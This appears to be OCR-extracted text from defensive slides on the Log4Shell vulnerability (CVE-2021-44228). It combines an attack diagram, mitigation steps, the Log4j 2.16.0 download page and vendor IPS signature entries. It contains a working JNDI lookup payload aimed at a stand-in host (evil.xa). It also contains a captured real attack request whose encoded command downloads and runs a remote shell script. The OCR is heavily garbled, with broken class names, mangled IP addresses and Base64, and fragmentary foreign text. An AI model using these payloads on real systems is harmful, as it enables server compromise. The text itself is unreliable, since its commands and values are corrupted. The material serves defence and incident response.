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Apache Log4;

GET /test HTTP/1.1 HTTP
Host: victim.xa

User-Agent: ${jndi:ldap://evil.xa/x}

€) BLOCK WITH WAF

Attacker Vulnerable Server

http://victim.xa

${indi:1ldap://evil.xa/x}

o]

@
o— KEA €

€ DISABLE LOG4)

?
ldap://evil.xa/x

€ DISABLE JNDI LOOKUPS

€ PATCH LOG4)

Vulnerable log4j
implementation

> I8

Malicious LDAP Server
Idap://evil.xa

I <€
€ DISABLE
REMOTE © 2"
CODEBASES l

public clasas Maliciocus implements Serializable |

static |
<malicious Java code>

}

i ‘o |

javaClassName: Malicious
javaCodebase: http://evil.xa
javaSerializedData: <...>
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Logging Services™ LOGYJ @

Last Published: 2021-12-13 | Version: 2.16.0 Logging Wiki @ | Apache @ | Logging Services | Sonar @ | GitHub @
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4 APACHE LOGA™ Download Apache Log4j 2

About
Apache Log4j 2 is distributed under the Apache License, version 2.0 §.
layad The link in the Mirrors column should display a list of available mirrors with a default selection based on your inferred location. If you do not see that page, try a different browser. The
avadoc

checksum and signature are links to the originals on the main distribution server.
Maven, Ivy, Gradle

Artifacts Distribution Mirrors Checksum Signature
Runtime Dependencies ) ) ) } ; - - 5

Apache Log4j 2 binary (tar.gz) apache-log4j-2.16.0-bin.tar.gz @ apache-log4j-2.16.0-bin.tar.gz.sha512 @ apache-log4j-2.16.0-bin.tar.gz.asc @
Changelog
FAQ Apache Log4j 2 binary (zip) apache-log4j-2.16.0-bin.zip @ apache-log4j-2.16.0-bin.zip.sha512 @ apache-log4j-2.16.0-bin.zip.asc @
Performance : ; : .

Apache Log4j 2 source (tar.gz) apache-log4j-2.16.0-src.tar.gz @ apache-log4j-2.16.0-src.tar.gz.sha512 @ apache-log4j-2.16.0-src.tar.gz.asc @
Articles and Tutorials
= & Apache Loa4i 2 source (zip) apache-loa4i-2.16.0-src.zip @ apache-loa4i-2.16.0-src.zip.sha512 @ apache-loa4i-2.16.0-src.zip.asc @
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zip -q -d logdj-core-*.jar org/apache/logging/log4j/core/lookup/IndiLookup.class
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Source

POST / HTTP/1.1
User-Agent: ${jndi:ldap://45.137.21.9:1389/Basic/Command/Base64/d2d1dCBodHRWOi8vNjIuMjEwWLIE

zMC4yNTAvbGguc2g7Y2htb2QgK3ggbGguc2g7Li9sal5zaA==}

Host: 21©.69.40.77

Accept: text/html,application/xhtml+xml,application/xml;q=08.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=8.5

Accept-Encoding: gzip, deflate

Connection: close length: 121 =
|I"I|Jl.lt IQEQAA:F lines: 1 + D E . =
Upgrade-Insecure-Requests: 1 =N I
ldap:/445.137.21.9:1385 Ea5icf(ammandfﬁazeﬁd]dEdldCBDdHHwGiEUNjIquEijEzMCdyNTﬂunguczg
FW2htb20gkK3ggbGouc2g7Lif9salbzal== = = 44
[ZY2htb20gK3ggbaguc2g Base 64 4 fis B 7 o 4 i

Destination R
Output lﬂﬁ:: Ei B I_|:| 1] s
HTTP/1.1 411 Length Required
Content-Type: text/html; charset=us-ascii
Server: Microsoft-HTTPAPI/2.0
Date: Sat, 11 Dec 2021 ©2:53:36 GMT
Connection: close

Content-Length: 344

087 pOx~ExYwoRAFE . i*&.€V1.~{®}wget http://62.218.130.258/1h.shfchmod +x 1lh.sh;./1h.sh
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Mame:
ID:

Description:

Severity:
CVE:

Apache Lo 4i|
Execution

|EE#! ‘EEH |EEE |sii|H'F

Remote Code simple- CVE-2021- | server | code- critical default disable
nerability Server- 44228 execution (reset-
critical server)

®

Apache Logdj Remote Code Execution Vulnerability
41991

Apache Logd is prone to a remote code execution vulnerability while parsing certain crafted
HTTP requests. The vulnerability is due to the lack of proper checks on HTTP reguests,
leading to an exploitable remote code execution vulnerability, An attacker could exploit the
vulnerability by sending crafted HTTP requests. A successful attack could lead to remote code
execution with the privileges of the server.

E| > |
CVE-2021-44228

EBr1-1/1 65

1. TIPS Slgnature WRAEFh - HERE o] LABGRECVE-2021-44228 -

2. i%7EIPS Profile #

1TPRIEPAE

Palo Alto NGFW(FE A IPS e
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ZiE EEEE =l TEE 4 HEETE CVE-ID
B 1ps B&iE
Apache.Logdj.Error.Log.RemoteCo... THEES All @ z#E CVE-2021-44228

¥
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Apache.Log4j.Error.Log.Remote.Code.Execution
1. E1TIPS Signature RRAERT - & | 51006

o 0] LABDRECVE-2021-44228 -

.m”

X

This indicates an attack attempt to exploit a Remote Code Execution
Vulnerability in Apache Logé4j.

2. & EIPS Profile #1TFREPHE = . s .
The vulnerability is due to insufficient sanitizing of user supplied inputsin the

. . application. A remote attacker may be able to exploit this to execute arbitrary
Fortinet FortiGate NGFW code within the context of the application.
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System Compromise: Remote attacker can gain control of vulnerable systems.

FERRhRA S 19.00218
()AL oIBhECVE-2021-44228

(i
L

Apply the most recent upgrade or patch from the vendor
https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc1
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IPS == ® REZ 19.00218

https://www.fortiguard.com/encyclopedia/ips/51
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Checkpoint Bj K Fj 55 1 Apache Log4j

Check Point Advisories
Apache Log4j Remote Code Execution (CVE-2021-44228)

¥ Vulnerability Protection

Check Point CPAI-2021-0936
Reference:

Date Published: 10 Dec 2021
Severity: Critical

Last Updated: 13 Dec 2021
Source:

Industry Reference.  CVE-2021-44228

Protection Provided  Security Gateway
by: R80, R77, R75

Who is Vulnerable? Apache Log4j2 2.14.1 and prior

Vulnerability A remote code execution vulnerability exists in Apache Logé4]. Successful exploitation of this vulnerability could allow a remote
Description attacker to execute arbitrary code on the affected system.

https://www.checkpoint.com/defense/advisories/public/2021/cpai-2021-0936.html
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